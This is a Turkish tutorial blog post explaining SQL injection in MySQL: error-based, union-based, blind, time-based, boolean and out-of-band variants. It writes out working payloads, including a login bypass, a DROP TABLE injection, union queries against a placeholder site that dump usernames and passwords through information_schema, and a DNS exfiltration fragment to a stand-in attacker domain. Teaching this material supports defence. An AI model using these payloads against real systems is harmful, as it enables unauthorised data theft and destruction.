SQL ( Structured Query Language) Zafiyeti
Sql bir dildir. Bu dili kullanan veritabanları (Mariadb, Mysql, sqlite vb.) sql dili ile yönetilir. Ben Mysql kullandığım içn Mysql üzerinden gideceğim. Mysql veritabanı 3306 portundan çalışır. Yapısı şu şekildedir; Server (sunucu), Database (veritabanı), Table (tablo), Column (sütun), Row (satır), Field (hücre). Mysql kendi içerisinde information_shema adında bir veritabanı tutar. Burada Mysql içerisindeki tüm veritabanları, tablolar ve veriler yer alır.
Sql dilinde, veritabanı içerisinden veri çekmek, eklemek ya da çıkarmak için komutlar kullanılır. En sık kullanacaklarımız şöyle; Select, Show, Update, Delete, Insert, Create, Drop.
Örnek verelim.$rows=$db->get_results("SELECT * FROM users");
Sql dilinde yorum satırı kullanmak için iki yöntem vardır. --
ve #
bu iki karakter ile yazılanlar yorum satırına alınır.
Şimdi sql zafiyetlerine bakalım.
Sql İnjection
Zafiyetler kullanıcıdan alınan verinin input validation yapılmamasından ortaya çıkar. Kullanıcıdan gelen veriler kontrol edilmeden sorgu içerisinde kullanılırsa, kullanıcımız bir saldırgan olabilir ve sorguyu bozacak kod yazabilir. Bu şekilde veritabanına ulaşabilir.
Error Based Sql İnjection
Kullanıcı adı ve parola ile kayıt olduğumuz bir web uygulaması düşünelim. Alınan bilgiler kontrol edilmeden veritabanına kaydediliyor olsun.$db->query("INSERT INTO users VALUES('$user', '$pass')");
Alınan veriler (' ' , ' ')");
buraya ekleniyor dolayısıyla bozacağımız yapı bu. Burada alınan parola bilgisi, veritabanına şifrelenerek ekleniyor olabilir. Sadece kullanıcı adı girdisinden içeri girmeye çalışalım. ' or true --
içeriye bunu yazdığımızı düşünelim.Geri kalanını yorum satırı haline getirmek için iki tire --
kullandık. Sorguyu manipule etmek için sonrasında kalan her şeyi yorum haline getiriyoruz. Sorgu şu şekli aldı, ('' or true--,'')");
burada girdi ‘boşsa ya da doğruysa’ olarak sorguyu değiştirdik. Cevap true olacağından yani A or 1 = 1 olduğundan içeri girmiş olduk. Web uygulaması bize hata vermedi çünkü sorgu yapısını bozmadık ve içeri girebildik. Şimdi tablo silmeyi deneyelim.
',' '); Drop table users;#
içeriye bunu yazdığımızda sorgu şu şekli alacak; $db->query("INSERT INTO users VALUES('',' '); Drop table users; #', '$pass')");
Aynı satırda iki sorgu yazmak Mysql’de önceden çalışıyordu artık çalışmıyor. Bunun yerine union özelliği kullanarak sorguları manipule edebiliyoruz. Union kendinden önceki sorgu doğru bir şekilde çalışırsa sonra geleni çalıştırmaz. Biz union’dan önce gelen sorguyu yanlış çalıştırıp, sonrasında istediğimiz sorguyu çalıştırabilir olacağız.
Mesela id değeri 1 olan kullanıcının hesabına girmeye çalışalım. Saldırdığımız site adresi şu şekilde olsun; site.com/uye.php
http://site.com/uye.php?id=-2 union select 1,2,3,4
sitede kaç sutün var bilmiyoruz bunu select ile verdiğimiz sütunlardan bulmaya çalışacağız. id değeri -2 olarak verdik. Burada hata olacağı için union select sorgusunu çalıştıracak. Bize verdiği hata mesajlarına göre ilerleyeceğiz. Burada dört sutün olduğunu tuturduk diyelim. Bize cevap olarak 2 dönmüş olsun. Bu demektir ki bizden aldığı kullanıcı adını ikinci sütunda tutuyor. Veritabanının adını öğrenelim, http://site.com/uye.php?id=-2 union select 1,database(),3,4
bize çıktı olarak veritabanının ismini verdi. Bu şekilde veritabanı ve tablolar hakkında bilgi alıyoruz.
Şimdi information_shema ile veritabanından verileri çekelim.
http://site.com/uye.php?=id=-2 union select
35,group_concat(column_name),21,55 from information_shema.columns where
table_schema=database() and table_name='users'
Veritabanından ulaşmak istediğimiz tabloyu çekebildik. Şimdi bu tablodaki kullanıcı isimlerini ve şifreleri listeleyelim.
http://site.com/uye.php?=id=-2 union select
35,group_concat(username,0x3d,password),21,55 from users
Blind Based Sql İnjection
Yukarıdaki senaryoda hata mesajları açıktı. Biz saldırı yaparken hata mesajlarının yönlendirmesi ile hareket ettik. Eğer uygulamada hata mesajları kapatılmışsa, saldırgan yanıt alamadan kör bir şekilde saldırı yapar. Bu şekilde manipüle etmeye blind based sql injection denir.
Time Based
Hata mesajı ya da çıktı alamıyorken, yazılan kodun çalışıp çalışmadığını kontrol etmek için time based yapılır. İf-else kullanarak eğer isim buysa beş sn bekle şeklinde kodlar yazarak işlemlerimizi kontrol edebiliriz. Saldırgan tek tek isim denemek yerine araç kullanarak bu yöntemi dener.
OOB (Out of Band)
Bağlantı kurulan veritabanından verileri bir sunucuya aktarmaktır. İçine girebildiğimiz veritabanı dns sorgusuyla belirlenen adrese bilgileri gönderir. database().'. saldirganinsitesi.com'
bu yöntemle veri çekmek için veritabanının dışarıdan gelen isteklere açık olması gerekir. Bu sorun aşıldığında, bu şekilde bilgiler çekilebilir.
Boolean Based
Sadece iki ihtimalin olduğu sorgularda kullanılır.